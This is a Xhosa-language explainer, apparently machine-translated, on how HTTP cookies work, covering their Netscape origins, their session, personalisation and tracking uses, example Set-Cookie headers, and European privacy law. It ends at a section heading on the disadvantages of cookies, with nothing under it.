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Ikhukhi ye-Intanethi: Yintoni? Inkcazo, iMvelaphi, Iintlobo kunye noBucala

Iyintoni indima yekhukhi, yintoni na kwaye zeziphi iintlobo zekhukhi? 🍪

Ikhukhi ye-Intanethi: Yintoni? Inkcazo, iMvelaphi, Iintlobo kunye noBucala
Ikhukhi ye-Intanethi: Yintoni? Inkcazo, iMvelaphi, Iintlobo kunye noBucala

Un i-cookie okanye i-cookie yewebhu (okanye iqebengwana, ishunqulelwe njenge ingqina e Quebec) ichazwa yi-HTTP yonxibelelwano protocol njengolandelelwano lolwazi oluthunyelwe ngumncedisi we-HTTP kumxhasi we-HTTP, leyo yokugqibela ibuyisela ixesha ngalinye umncedisi we-HTTP ofanayo ebuzwa phantsi kweemeko ezithile.

Iqebengwana lilingana ne-a ifayile yokubhaliweyo encinci egcinwe kwi-terminal yomsebenzisi we-Intanethi. Ekhoyo ngaphezu kweminyaka engama-20, bavumela abaphuhlisi bewebhusayithi ukuba bagcine idatha yomsebenzisi ukwenzela ukuba kube lula ukuhamba kwabo kunye nokuvumela imisebenzi ethile. Iikuki bezisoloko zinempikiswano enkulu okanye encinci kuba ziqulathe intsalela yolwazi lomntu olunokuthi luxhatshazwe ngabantu besithathu.

Ithunyelwa njengesihloko se-HTTP ngumncedisi wewebhu kwisikhangeli sewebhu esiyibuyisela ingatshintshanga rhoqo xa ifikelela kumncedisi. Icookie ingasetyenziselwa uqinisekiso, iseshoni (ugcino lukarhulumente), kunye ne gcina ulwazi oluthile malunga nomsebenzisi, njengokhetho lwesayithi okanye imixholo yenqwelo yokuthenga ye-elektroniki. Igama elithi cookie lithathwe kwi cookie yomlingo, ingcamango eyaziwayo kwi-UNIX computing, eyaphefumlela ingcamango kunye negama le-browser cookies. Kukho iindlela ezimbalwa zokukhetha iikuki, nganye kuzo inosetyenziso lwayo, izinto eziluncedo kunye nezingeloncedo.

Ukuba ziifayile ezibhaliweyo ezilula, iikuki azifezeki. Abekho hayi ispyware okanye iivayirasi, nangona iikuki ezisuka kwezinye iisayithi zichongiwe ziinkqubo ezininzi zokulwa nentsholongwane kuba zivumela abasebenzisi ukuba balandelelwe xa bendwendwela iisayithi ezininzi. 

Uninzi lweziphequluli zanamhlanje zivumela abasebenzisi ukuba thatha isigqibo sokuba uyazamkela okanye uyala iikuki. Abasebenzisi nabo banako khetha ukuba iicookies zigcinwa ixesha elingakanani. Nangona kunjalo, ukwaliwa ngokupheleleyo kweekuki kwenza ezinye iisayithi zingasebenziseki. Umzekelo, gcina iinqwelo zokuthenga okanye iisayithi ezifuna ukungena usebenzisa iziqinisekiso (igama lomsebenzisi kunye negama lokugqitha).

Uluhlu lwangaphakathi

okukhe kwenziwa

Ixesha Cookie isuka kwigama lesiNgesi cookie yomlingo, eyipakethi yedatha efunyanwa yiprogram kwaye ibuyise ingatshintshanga. Iikuki zazisele zisetyenziswa kwi-IT xa Lou Montulli babenombono wokuzisebenzisa kunxibelelwano lwewebhu ngoJuni 1994. Ngelo xesha, wayeqeshwe yi-Netscape Communications, eyayiphuhlise isicelo se-e-commerce kumthengi. Iikuki zanika isisombululo kwingxaki yokuthembeka kokuphunyezwa kwenqwelo yokuthenga yevenkile.

UJohn Giannandrea kunye noLou Montulli babhala i-cookie yokuqala ye-Netscape echazwe kwangaloo nyaka. Inguqulo ye-0.9 beta ye-Mosaic Netscape, ekhutshwe ngo-Okthobha we-13, 1994, ehlanganisiwe iteknoloji yecookie (bona iposti). Ukusetyenziswa kokuqala (okungenamvavanyo) kweekuki yayikukujonga ukuba ngaba abatyeleli bewebhusayithi yeNetscape babekhe bayindwendwela indawo ngaphambili. I-Montulli yafaka isicelo selungelo elilodwa lomenzi wechiza kwiteknoloji yeekuki ngo-1995, kwaye i-US patent 5774670 yanikezelwa. yanikezelwa ngo-1998.

Emva kokuphunyezwa kwi-beta ye-Netscape 0.9 ngo-1994, iikuki zadityaniswa kwi-Internet Explorer 2, yakhululwa ngo-Okthobha ka-1995.

Ukwaziswa kweekuki akukaziwa ngokubanzi kuluntu. Ngokukodwa, iikuki zamkelwe ngokungagqibekanga kwiisetingi zebhrawuza, kwaye abasebenzisi abazange baziswe ngobukho babo. Abanye abantu babesazi ubukho beekuki malunga nekota yokuqala ye-1995, kodwa uluntu ngokubanzi lwathatha ubukho babo emva kokuba i-Financial Times ipapashe inqaku ngoFebruwari 12, 1996. Ngaloo nyaka, ii-cookies zafumana ingqalelo eninzi kwimidiya. ngenxa yongenelelo lwabucala olunokwenzeka. Umxholo weekhukhi uxutyushwe kwiindibano ezimbini ze-American Federal Trade Commission kwi-1996 kunye ne-1997.

Uphuhliso lweenkcukacha zecookie ezisemthethweni sele luqhuba. Iingxoxo zokuqala malunga neenkcukacha ezisemthethweni zaqhutywa ngoAprili 1995 kuluhlu lwabathunyelelwayo lwe-www-talk. Iqela elikhethekileyo le-IETF lasekwa. Izindululo ezibini ezizezinye zokwazisa urhulumente kwintengiselwano ye-HTTP zacetywa nguBrian Behlendorf kunye noDavid Kristol ngokulandelelana, kodwa iqela, elikhokelwa nguKristol ngokwakhe, lagqiba ekubeni lisebenzise ukucaciswa kweNetscape njengendawo yokuqala. NgoFebruwari 1996, iqela elisebenzayo lafumanisa ukuba iikuki zomntu wesithathu ziyingozi enkulu kubumfihlo. Inkcazo eveliswe liqela ekugqibeleni yapapashwa njenge RFC 2109.

Ukususela ekupheleni kwe-2014, sibona ibhanile malunga neekuki kwiindawo ezininzi. Kukho ubuncinci ulwandiso lwesikhangeli esinye esivumela i ibhena ayiboniswanga.

Iindidi zeekuki kunye nokuSetyenziswa

Ulawulo lweseshoni

Iikuki zingasetyenziselwa ukugcina idatha yomsebenzisi ngexesha lokuhamba, kodwa nakwiindwendwe ezininzi. Iikuki zaziswa ukubonelela ngeendlela zokuphumeza iinqwelo zokuthenga nge-elektroniki, isixhobo esibonakalayo apho umsebenzisi anokuqokelela izinto afuna ukuzithenga ngelixa ekhangela indawo.

Kule mihla, ii-apps ezifana neenqwelo zokuthenga endaweni yoko zigcina uluhlu lwezinto kwisiseko sedatha kwiseva, ekhethwayo; kunokugcina kwikuki ngokwayo. Iseva yewebhu ithumela i-cookie ene-ID yeseshoni eyodwa. Isikhangeli sewebhu sibuyisela le ID yeseshoni kwisicelo ngasinye esilandelayo kwaye izinto ezikwibhaskithi zigciniwe kwaye zinxulunyaniswa ne-ID yeseshoni efanayo.

Ukusetyenziswa rhoqo kweekuki kuluncedo xa ungena kwisayithi usebenzisa iziqinisekiso. Ngamafutshane, iseva yewebhu kuqala ithumela icookie ene-ID yeseshoni eyodwa. Emva koko abasebenzisi banikezela ngeenkcukacha zabo (ngokuqhelekileyo igama lomsebenzisi kunye negama lokugqitha). Usetyenziso lwewebhu emva koko luqinisekisa iseshoni kwaye luvumela umsebenzisi ukuba afikelele kwinkonzo.

zifaneleke

Iikuki zingasetyenziselwa ukukhumbula ulwazi malunga nomsebenzisi wesayithi, ukwenzela ukumbonisa umxholo ofanelekileyo kwixesha elizayo. Umzekelo, iseva yewebhu inokuthumela i-cookie enegama lomsebenzisi lokugqibela elisetyenzisiweyo ukungena kuloo webhusayithi, ukuze igama lomsebenzisi lizaliswe kwangaphambili kutyelelo oluzayo.

Iiwebhusayithi ezininzi zisebenzisa iikuki zomntu ngokusekwe kwizinto ezikhethwa ngumsebenzisi. Abasebenzisi bakhetha ukhetho lwabo kwifomu kwaye bangenise ezi kumncedisi. Iseva ifaka iikhowudi ezikhethwayo kwikuki kwaye iyithumele kwakhona kwisikhangeli. Emva koko, ixesha ngalinye umsebenzisi efikelela kwiphepha lesi siza, isikhangeli sibuyisela icookie kwaye ke uluhlu lwezinto ezikhethwayo; umncedisi angenza ngokusesikweni iphepha ngokokhetho lomsebenzisi. Umzekelo, iwebhusayithi yeWikipedia ivumela abasebenzisi bayo ukuba bakhethe ulusu lwendawo abayithandayo. Injini yokukhangela yeGoogle ivumela abasebenzisi bayo (nangona bengabhaliswanga) ukuba bakhethe inani leziphumo abafuna ukuzibona kwiphepha ngalinye leziphumo.

Ukulandela umkhondo

Iikuki zokulandelela zisetyenziselwa ukulandelela imikhwa yokukhangela abasebenzisi be-intanethi. Oku kunokwenziwa kwakhona ngokuyinxenye ngokusebenzisa idilesi ye-IP yekhompyuter ukwenza isicelo sephepha okanye ngokusebenzisa i-'referrer' ye-HTTP header ethunyelwa ngumxhasi ngesicelo ngasinye, kodwa ii-cookies zivumela ukuchaneka okukhulu. Oku kunokwenziwa njengoko kulo mzekelo ulandelayo:

  1. Ukuba umsebenzisi ubiza iphepha kwisayithi, kwaye isicelo asiqulathanga icookie, umncedisi uthatha ukuba eli phepha lokuqala elihanjelwe ngumsebenzisi. Umncedisi ke wenza umtya ongaqhelekanga kwaye uwuthumele kwisikhangeli kunye nephepha eliceliweyo.
  2. Ukususela kulo mzuzu, i-cookie iya kuthunyelwa ngokuzenzekelayo sisikhangeli rhoqo xa kubizwa iphepha elitsha lesayithi. Umncedisi uya kuthumela iphepha njengesiqhelo, kodwa uya kungena kwakhona i-URL yephepha elibizwa ngokuba, umhla, ixesha lesicelo kunye necookie kwifayile yelog.

Ngokujonga ifayile yelog, kuya kwenzeka ukubona ukuba ngawaphi amaphepha athe atyelelwa ngumsebenzisi kwaye alandelelaniswe njani. Umzekelo, ukuba ifayile iqulathe izicelo ezimbalwa ezenziwe kusetyenziswa i-id=abc cookie, oku kunokuqinisekisa ukuba zonke ezi zicelo ziphuma kumsebenzisi omnye. I-URL eceliweyo, umhla kunye nexesha elihambelana nezicelo livumela ukhangelo lomsebenzisi ukuba lulandelelwe.

Iikuki zomntu wesithathu kunye neebhikhoni zewebhu, ezichazwe ngezantsi, zikwavumela ukuba umkhondo kuzo zonke iisayithi ezahlukeneyo. Ukulandelela indawo enye kusetyenziswa ngokubanzi kwiinjongo zamanani. Ngokwahlukileyo, ukulandelela kuzo zonke iisayithi usebenzisa iikuki zomntu wesithathu ngokuqhelekileyo zisetyenziswa ziinkampani zentengiso ukuvelisa iiprofayili zabasebenzisi abangazichazanga (ezithi ke zisetyenziswe ukumisela ukuba zeziphi iintengiso emaziboniswe kumsebenzisi kunye nokumthumelela ii-imeyile ezihambelana nezi zibhengezo - SPAM ).

Iikuki zokulandela umkhondo zingumngcipheko wokuhlaselwa kwemfihlo yabasebenzisi kodwa zinokucinywa ngokulula. Uninzi lwezikhangeli zale mihla zibandakanya ukhetho lokucima ngokuzenzekelayo iikuki ezizingisileyo xa uvala usetyenziso.

Iicookies zomntu wesithathu

Imifanekiso kunye nezinye izinto eziqulethwe kwiphepha lewebhu zinokuhlala kwiiseva ezahlukeneyo kulowo ubamba iphepha. Ukubonisa iphepha, isikhangeli sikhuphela zonke ezi zinto. Uninzi lweewebhusayithi ziqulethe ulwazi oluvela kwimithombo eyahlukeneyo. Umzekelo, ukuba uchwetheza www.example.com kwisikhangeli sakho, kuya kuhlala kukho izinto okanye iintengiso kwinxalenye yephepha evela kwimithombo eyahlukeneyo, o.k. kwidomeyini eyahlukileyo kune-www..example.com. "Eyokuqala" iikuki zetheko ziikuki ezibekwe ngummandla odweliswe kwibha yedilesi yesikhangeli. Iikuki zomntu wesithathu zisetwa yenye yezinto zephepha ezivela kwindawo eyahlukileyo.

Ngokungagqibekanga, iibrowser ezinjengeMozilla Firefox, iMicrosoft Internet Explorer kunye neOpera zamkela iikuki zomntu wesithathu, kodwa abasebenzisi banokutshintsha iisetingi kwiindlela zokuzithintela. Akukho mngcipheko wokhuseleko okhoyo kwiikuki zomntu wesithathu ovumela ukusebenza kwewebhu, nangona kunjalo zikwasetyenziselwa ukulandelela abasebenzisi. ukusuka kwindawo ukuya kwindawo.

Izixhobo ezifana ne-Ghostery ekhoyo kuzo zonke iiphequluli ezibandakanya uGoogle Chrome zinokuvala utshintshiselwano phakathi kwabantu besithathu.

Ukuphunyezwa

Unxibelelwano olunokwenzeka phakathi kwesikhangeli sewebhu kunye neseva ebamba iphepha lewebhu. Iseva ithumela icookie kwisikhangeli kwaye isikhangeli siyithumele kwakhona xa ibiza elinye iphepha.
Unxibelelwano olunokwenzeka phakathi kwesikhangeli sewebhu kunye neseva ebamba iphepha lewebhu. Iseva ithumela icookie kwisikhangeli kwaye isikhangeli siyithumele kwakhona xa ibiza elinye iphepha.

Iikuki ziingceba ezincinci zedatha ezithunyelwe ngumncedisi wewebhu kwisikhangeli. Isikhangeli sizibuyisela zingatshintshanga kumncedisi, sazisa imo (inkumbulo yeziganeko ezidlulileyo) kwintengiselwano engenammiselo yeHTTP. Ngaphandle kweekuki, ukufunyanwa ngakunye kwephepha lewebhu okanye inxalenye yephepha lewebhu sisiganeko esizimeleyo, esizimeleyo kwezinye izicelo ezenziwe kwisayithi enye. Ukongeza ekukwazini ukusetwa ngumncedisi wewebhu, iikuki zinokusetwa ngeelwimi zokubhala ezinje ngeJavaScript, ukuba ixhaswa kwaye igunyaziswe sisikhangeli.

Inkcazo yecookie esemthethweni icebisa ukuba iibhrawuza kufuneka zikwazi ukugcina kunye nokuthumela inani elincinci leekuki. Ngokukodwa, i-browser kufuneka ikwazi ukugcina ubuncinane ii-cookies ze-300 zeekhilobhayithi ezine nganye, kwaye ubuncinane ii-cookie ezingama-20 kwiseva enye okanye isizinda.

Ngokwecandelo 3.1 le RFC 2965, amagama eekuki akanangxaki.

I-cookie ingachaza umhla wokuphelelwa kwayo, apho i-cookie iya kususwa ngalo mhla. Ukuba i-cookie ayichazi umhla wokuphelelwa yisikhathi, i-cookie iyacinywa ngokukhawuleza xa umsebenzisi eshiya isiphequluli sakhe. Ke ngoko, ukucacisa umhla wokuphelelwa lixesha yindlela yokwenza icookie iphile ngeeseshoni ezininzi. Ngesi sizathu, iikuki ezinomhla wokuphelelwa zibizwa ngokuba ezingisayo. Umzekelo wesicelo: indawo yokuthengisa inokusebenzisa iikuki ezizingisileyo ukurekhoda izinto abasebenzisi abazibeke kwinqwelo yabo yokuthenga (enyanisweni, icookie ingabhekisa kwingeniso egcinwe kuvimba weenkcukacha kwindawo yokuthengisa, hayi kwikhompyuter yakho) . Ngale ndlela, ukuba abasebenzisi bashiya isikhangeli sabo ngaphandle kokuthenga kwaye babuyele kuyo kamva, baya kuba nakho ukufumana izinto ezikwinqwelo kwakhona. Ukuba ezi cookies azizange zinike umhla wokuphelelwa kwexesha, ziya kuphelelwa lixesha xa isikhangeli sivaliwe, kwaye ulwazi olukwimixholo yebhasikithi luya kulahleka.

Iikuki zinokukhawulelwa kumda wesizinda esithile, isizinda esisezantsi okanye umendo kumncedisi owenze wona.

Ukudluliselwa kwamaphepha ewebhu kwenziwa kusetyenziswa i-HyperText Transfer Protocol (HTTP). Ngokungahoyi iikuki, iibhrawuza zibiza iphepha elivela kwiiseva zewebhu ngokuzithumela ngokubanzi isicatshulwa esifutshane esibizwa ngokuba Isicelo seHTTP. Umzekelo, ukufikelela kwiphepha elithi www.example.org/index.html, izikhangeli ziqhagamshela kwiseva ethi www.example.org kwaye zithumele isicelo esijongeka ngolu hlobo:

GET /index.html HTTP/1.1Host: www.example.org
esasihambaumncedisi

Umncedisi uphendula ngokuthumela iphepha eliceliweyo, elilandelwa ngumbhalo ofanayo, wonke ubizwa Impendulo yeHTTP. Le pakethi isenokuba nemigca eyalela isikhangeli ukuba sigcine iikuki:

HTTP/1.1 200 OKContent-uhlobo: text/htmlSet-Cookie: name=value
(iphepha le-HTML)
esasihambaumncedisi

Umncedisi uthumela kuphela umgca we-Set-Cookie, ukuba umncedisi ufuna isikhangeli sigcine icookie. I-Set-Cookie sisicelo sokuba isikhangeli sigcine igama=ixabiso lomtya kwaye liwubuyisele kuzo zonke izicelo ezizayo kwiseva. Ukuba isikhangeli sixhasa iikuki kunye neekuki zivuliwe kwiinketho zesikhangeli, i-cookie iya kubandakanywa kuzo zonke izicelo ezilandelayo ezenziwe kwiseva efanayo. Umzekelo, isikhangeli sifowunela iphepha elithi www.example.org/news.html ngokuthumela esi sicelo silandelayo kwiseva ethi www.example.org:

GET /news.html HTTP/1.1Host: www.example.orgCookie: name=valueYamkela: */*
esasihambaumncedisi

Esi sisicelo selinye iphepha elisuka kumncedisi ofanayo, kwaye iyahluka kweyokuqala ngasentla kuba iqulethe umtya owathunyelwa ngaphambili ngumncedisi kumkhangeli zincwadi. Enkosi koku kuthetha, umncedisi uyazi ukuba esi sicelo sidityaniswe nesangaphambili. Umncedisi uphendula ngokuthumela iphepha elibiziweyo, kwaye ngokongeza ezinye iikuki kuyo.

Ixabiso lekuki lingatshintshwa yiseva ngokuthumela umgca omtsha weSet-Cookie: igama=new_value kwimpendulo kwiphepha elibiziweyo. Isikhangeli ke sibeka endaweni yexabiso elidala kunye nentsha.

Umgca we-Set-Cookie uqhele ukudalwa yinkqubo yeCGI okanye olunye ulwimi loshicilelo, hayi ngomncedisi weHTTP. Umncedisi we-HTTP (umzekelo: i-Apache) uya kuhambisa kuphela umphumo weprogram (uxwebhu olulandelwa yintloko equlethe iicookies) kwisikhangeli.

Iikuki zinokusetwa yiJavaScript okanye ezinye iilwimi ezifanayo ezisebenza kwisikhangeli, o.t. kwicala lomxhasi kunecala leseva. KwiJavaScript, into yedocument.cookie isetyenziselwa le njongo. Umzekelo, istatement document.cookie = "temperature=20" yenza icookie ebizwa "iqondo lobushushu" kunye nexabiso lama-20.

Umzekelo wempendulo yeHTTP evela kugoogle.com, emisela icookie eneempawu.
Umzekelo wempendulo yeHTTP evela kugoogle.com, emisela icookie eneempawu.

Ukongeza kwiperi yegama/ixabiso, icookie inokuphinda iqulathe umhla wokuphelelwa, indlela, igama lesizinda kunye nohlobo loqhagamshelwano olucetywayo, oko kukuthi oluqhelekileyo okanye olufihliweyo. I-RFC 2965 ikwachaza ukuba iikuki kufuneka zibe nenombolo yoguqulelo olusisinyanzelo, kodwa oku kushiyeka ngokubanzi. La malungu edatha alandela igama=new_value pair kwaye ahlulwe ngeesemikholoni. Umzekelo, icookie inokwenziwa ngumncedisi ngokuthumela iSet-Cookie line: name=new_value; iphela=umhla; indlela=/; ithambeka=.example.org.

Iikuki ziphelelwa lixesha kwaye azithunyelwa sisikhangeli kwiseva kwezi meko zilandelayo:

  • Xa isikhangeli sivaliwe, ukuba icookie ayiqhubeki.
  • Xa umhla wokuphelelwa kwecookie udlulile.
  • Xa umhla wokuphelelwa kwecookie utshintshwa (ngumncedisi okanye iskripthi) ukuya kumhla odlulileyo.
  • Xa isikhangeli sisusa icookie ngesicelo somsebenzisi.

Imeko yesithathu ivumela iiseva okanye izikripthi ukuba zicime ngokucacileyo icookie. Qaphela ukuba kunokwenzeka ngesikhangeli sewebhu sikaGoogle Chrome ukwazi umhla wokuphelelwa kwecookie ethile ngokufikelela kwisetingi zomxholo. I-cookie egcinwe kwikhompyuter inokuhlala apho amashumi eminyaka ukuba akukho nkqubo ithathwayo ukuyicima.

Iingqikelelo

Ukususela ekungenisweni kwabo kwi-Intanethi, iingcamango ezininzi malunga nekhukhi ziye zasasazwa kwi-Intanethi nakwimithombo yeendaba. Ngo-1998, i-CIAC, iSebe lase-United States leqela lokubeka iliso kwi-computer yeSebe lezaMandla, lafumanisa ukuba ubuthathaka bokhuseleko lwe-cookie "abukho kwaphela" kwaye yachaza ukuba "ulwazi ngemvelaphi yotyelelo lwakho kunye neenkcukacha zamaphepha ewebhu owandwendwele. sele zikhona kwiifayile zelog yeeseva zewebhu”. Ngo-2005, iJupiter Research yapapasha iziphumo zophando, apho ipesenti enkulu yabaphenduli baqwalasela ezi nkcazo zilandelayo:

  • Iikuki zinje intsholongwane, bosulela abasebenzisi' hard drives.
  • Iikuki ziyavelisa vela.
  • Iikuki zisetyenziselwa ukuthumela ispemu.
  • Iikuki zisetyenziselwa intengiso kuphela.

Iikuki azikwazi ukucima okanye ukufunda ulwazi olusuka kwikhompyuter yomsebenzisi. Nangona kunjalo, iikuki zenza kube lula ukubona amaphepha ewebhu atyelelwe ngumsebenzisi kwindawo ethile okanye iisayithi. Olu lwazi lunokuqokelelwa kwiprofayile yomsebenzisi enokusetyenziswa okanye ithengiselwe abantu besithathu, nto leyo enokubangela imiba enzulu yabucala. Ezinye iiprofayili azaziwa, ngengqiqo yokuba azinalwazi lobuqu, kodwa nezonkangeleko zisenokuthandabuzeka.

Ngokophononongo olufanayo, ipesenti enkulu yabasebenzisi be-Intanethi abazi ukucima iikuki. Esinye sezizathu zokuba abantu bangazithembi iikuki kukuba ezinye iisayithi zisebenzise kakubi inkalo yokuchonga yekuki kwaye zabelane ngolu lwazi neminye imithombo. Ipesenti enkulu yentengiso ekujoliswe kuyo kunye ne-imeyile engacelwanga, ithathwa njenge-spam, ivela kulwazi olufunyenwe kwi-cookies yokulandelela.

Useto lwebhrawuza

Uninzi lwezikhangeli zixhasa iikuki kwaye zivumela umsebenzisi ukuba azenze zingasebenzi. Olona khetho luxhaphakileyo lu:

  • Yenza okanye ukhubaze iikuki ngokupheleleyo, ukuze zamkelwe rhoqo okanye zivaliwe.
  • Vumela umsebenzisi ukuba abone iikuki ezisebenzayo kwiphepha elinikiweyo, ngokungenisa i-javascript: alert(document.cookie) kwibar yedilesi yesikhangeli. Ezinye iibrowser zifaka umphathi wecookies kumsebenzisi onokujonga kwaye akhethe ukucima iikuki ezigcinwe ngoku sikhangeli.

Uninzi lwebrawuza zikwavumela ukucinywa ngokupheleleyo kwedatha yomntu equka iikuki. Iimodyuli ezongezelelweyo zokulawula iimvume zekuki zikwakhona.

Ikhukhi zabucala kunye neQela leSithathu

Kulo mzekelo wenkohliso, inkampani yentengiso ibeke iibhena kwiiwebhusayithi ezimbini. Ngokubamba iibhena kwiiseva zayo kunye nokusebenzisa iikuki zomntu wesithathu, inkampani yentengiso iyakwazi ukulandelela ukukhangela komsebenzisi ngezi sayithi zimbini.

Iikuki zineempembelelo ezibalulekileyo kubumfihlo kunye nokungaziwa kwabasebenzisi bewebhu. Nangona iikuki zithunyelwa kuphela emva kwiseva eyisetiyo okanye kwiseva yendawo ye-Intanethi enye, iphepha lewebhu lisenokuba nemifanekiso okanye amanye amalungu agcinwe kwiiseva ezizezinye iindawo. Iikuki ezibekwe ngexesha lokubuyiselwa kwezi nxalenye zangaphandle zibizwa cookies zomntu wesithathu. Oku kuquka iikuki ezisuka kwiifestile ezizivelelayo ezingafunwayo.

Iinkampani zentengiso zisebenzisa iikuki zomntu wesithathu ukulandelela abasebenzisi kuzo zonke iisayithi ezahlukeneyo abazindwendwelayo. Ngokukodwa, inkampani yentengiso inokulandelela umsebenzisi kuwo onke amaphepha apho ibeke imifanekiso yentengiso okanye i-pixel yokulandelela. Ulwazi lwamaphepha atyelelwe ngumsebenzisi luvumela inkampani yentengiso ukuba ijolise kwizinto ezikhethwa yintengiso yomsebenzisi.

Isakhono sokwakha iprofayile yomsebenzisi sithathwa ngabanye njengohlaselo lwabucala, ngakumbi xa umkhondo wenziwa kwiindawo ezahlukeneyo kusetyenziswa iikuki zomntu wesithathu. Ngesi sizathu, amanye amazwe anomthetho wecookies.

Urhulumente waseUnited States wasebenzisa imithetho engqongqo ekubekweni kweekuki ngo-2000, emva kokuba kutyhilwe ukuba i-White House Drug Policy Office yayisebenzisa iicookies ukulandelela iikhompyutha zabasebenzisi abajonga iintengiso zeziyobisi kwi-intanethi. Kwi-2002, umlweli wabucala uDaniel Brandt wafumanisa ukuba i-CIA ishiye iikuki eziqhubekayo kwiikhompyuter ezityelele iiwebhusayithi zayo. Nje ukuba ixelelwe ngolu lwaphulo-mthetho, i-CIA yabhengeza ukuba ezi cookies azithunyelwanga ngabom kwaye yayeka ukuseta. NgoDisemba 25, 2005, uBrandt wafumanisa ukuba i-Arhente yoKhuseleko lweSizwe (i-NSA) ishiye ii-cookie ezimbini eziqhubekayo kwiikhompyutheni zeendwendwe ngenxa yohlaziyo lwesofthiwe. Emva kokwaziswa, i-NSA yazicima ngoko nangoko iikuki.

EUnited Kingdom, i Umthetho wecookie “, eqalwe ukusebenza nge-25 kaMeyi, 2012, inyanzelisa iisayithi ukuba zichaze iinjongo zazo, ngaloo ndlela ivumela abasebenzisi ukuba bakhethe ukuba bafuna ukushiya umkhondo okanye hayi indlela yabo kwi-Intanethi. Ngaloo ndlela banokukhuselwa ekujoliseni kweentengiso. Nangona kunjalo, ngoku ka Guardian, imvume yabasebenzisi be-Intanethi ayicacanga ngokuyimfuneko; utshintsho lwenziwe kwimiqathango yemvume yomsebenzisi, ukuyenza kuthethwa ngolo hlobo.

Umyalelo 2002/58 kubumfihlo

I-Directive 202/58 yabucala kunye nonxibelelwano lwe-elektroniki, iqulethe imigaqo malunga nokusetyenziswa kweekuki. Ngokukodwa, inqaku lesi-5, umhlathi 3 walo myalelo ufuna ukuba ukugcinwa kwedatha (ezinje ngeekuki) kwikhompyuter yomsebenzisi kunokwenziwa kuphela ukuba:

  • umsebenzisi uyaziswa ngendlela idatha esetyenziswa ngayo;
  • umsebenzisi unikwa ukhetho lokwala lo msebenzi wogcino. Nangona kunjalo, eli nqaku likwachaza ukuba ukugcinwa kwedatha ngenxa yezizathu zobuchwepheshe kukhululiwe kulo mthetho.

Ngenxa yokuba iphunyezwe ukususela ngo-Okthobha ka-2003, lo myalelo kodwa wasetyenziswa ngendlela engafanelekanga ngokwengxelo kaDisemba ka-2004, eyathi yabonisa ukuba amanye amazwe angamaLungu (iSlovakia, iLatvia, iGreece, iBelgium kunye neLuxembourg) ayengekayidluliseli imiqathango. isikhokelo kumthetho wasekhaya.

Ngokoluvo lwe-G29 ngo-2010, lo myalelo, omisela ngokukodwa ukusetyenziswa kweekuki kwiinjongo zentengiso yokuziphatha, kwimvume ecacileyo yomsebenzisi we-Intanethi uhlala usetyenziswa kakubi kakhulu. Enyanisweni, iindawo ezininzi zenza oko ngendlela engahambelani nomyalelo, ngokuzikhawulela kwi-"banner" elula ekwazisa ngokusetyenziswa kwe "cookies" ngaphandle kokunika ulwazi malunga nokusetyenziswa, ngaphandle kokwahlula phakathi kwe-cookies "yobugcisa". iikuki "zokulandelela", okanye ukunika ukhetho lokwenyani kumsebenzisi onqwenela ukugcina iikuki zobugcisa (ezifana neekuki zolawulo lwenqwelo yokuthenga) kunye nokwala iikuki "zokulandela". Enyanisweni, iisayithi ezininzi azisebenzi ngokuchanekileyo ukuba iikuki zaliwe, ezingahambelaniyo nomyalelo we-2002/58 okanye umyalelo 95/46 (Ukukhuselwa kwedatha yomntu).

Umyalelo 2009/136/CE

Esi sixhobo sihlaziywe nguMyalelo 2009/136/EC womhla wama-25 Novemba 2009 othi "ukugcinwa kolwazi, okanye ukufumana ufikelelo kulwazi olusele lugciniwe, kwisixhobo se-terminal sombhalisi okanye umsebenzisi kuvunyelwe kuphela phantsi komqathango wokuba umrhumi okanye umsebenzisi unike imvume yakhe, emva kokufumana, ngokuthobela i-Directive 95/46/EC, ulwazi olucacileyo nolupheleleyo, phakathi kwabanye ngeenjongo zokusetyenzwa”. Umyalelo omtsha ke ngoko womeleza izibophelelo phambi kokubeka iikuki kwikhompyuter yomsebenzisi we-Intanethi.

Kwingqwalaselo yokuqala yalo myalelo, uwiso-mthetho waseYurophu uchaza nangona kunjalo: "Apho kunokwenzeka ngokobuchwepheshe kwaye kusebenza, ngokuhambelana nemimiselo efanelekileyo yoMgaqo-nkqubo 95/46/EC, imvume yomsebenzisi ngokubhekiselele ekuqhutyweni inokubonakaliswa ngokusebenzisa ukusetyenziswa koseto olufanelekileyo lwesikhangeli okanye esinye isicelo”. Kodwa eneneni, akukho sikhangeli ukuza kuthi ga ngoku senza ukuba kwenzeke ukwahlula iikuki zobugcisa eziyimfuneko kwezo zikhethwayo ekufuneka zishiywe kukhetho lomsebenzisi.

Lo myalelo mtsha wenziwa ngamaLungu ePalamente eBelgium ngoJulayi 2012. Uphononongo luka-2014 lubonisa ukuba namaLungu ePalamente ayasokola ukufaka isicelo. imiqobo yomyalelo.

P3P

Inkcazo ye-P3P iquka ukukwazi ukuba umncedisi achaze umgaqo-nkqubo wabucala, ochaza ukuba luhlobo luni lolwazi oluqokelelayo kunye nenjongo. Le migaqo-nkqubo ibandakanya (kodwa ayiphelelanga) ukusetyenziswa kolwazi oluqokelelwe kusetyenziswa iikuki. Ngokwenkcazelo ye-P3P, isikhangeli sinokwamkela okanye sale iikuki ngokuthelekisa imigaqo-nkqubo yabucala nezinto ezikhethwa ngumsebenzisi okanye ngokubuza umsebenzisi, ebonisa ingxelo yomgaqo-nkqubo wabucala echazwe ngumncedisi.

Iibhrawuza ezininzi, kuquka iApple Safari kunye neMicrosoft Internet Explorer iinguqulelo 6 no-7, zixhasa iP3P evumela isikhangeli sigqibe ukuba siyakwamkela na ukugcinwa kweekuki zomntu wesithathu. Isikhangeli seOpera sivumela abasebenzisi ukwala i-cookies yomntu wesithathu kwaye benze iprofayile yelizwe jikelele kunye ethile yokhuseleko lwemimandla ye-Intanethi. Inguqulo yesi-2 yeMozilla Firefox iye yalahla inkxaso yeP3P kodwa yaphinda yayibuyisela kuguqulelo lwesi-3.

Iikuki zomntu wesithathu zinokuvalwa zizikhangeli ezininzi ukwandisa ubumfihlo kunye nokunciphisa umkhondo wentengiso, ngaphandle kokuchaphazela kakubi amava omsebenzisi wewebhu. Ii-arhente ezininzi zentengiso zibonelela ngokhetho phuma kuyo kwintengiso ekujoliswe kuyo, ngokuseta icookie yegeneric kwisikhangeli esiyenza ingasebenzi le kujoliso, kodwa isisombululo esinjalo asisebenzi, xa sihlonitshwa, kuba le cookie yegeneric iyacinywa nje ukuba umsebenzisi acime ezicookies ezirhoxisa ukhetho. isigqibo ngaphandle.

Ukungalungi kweekuki

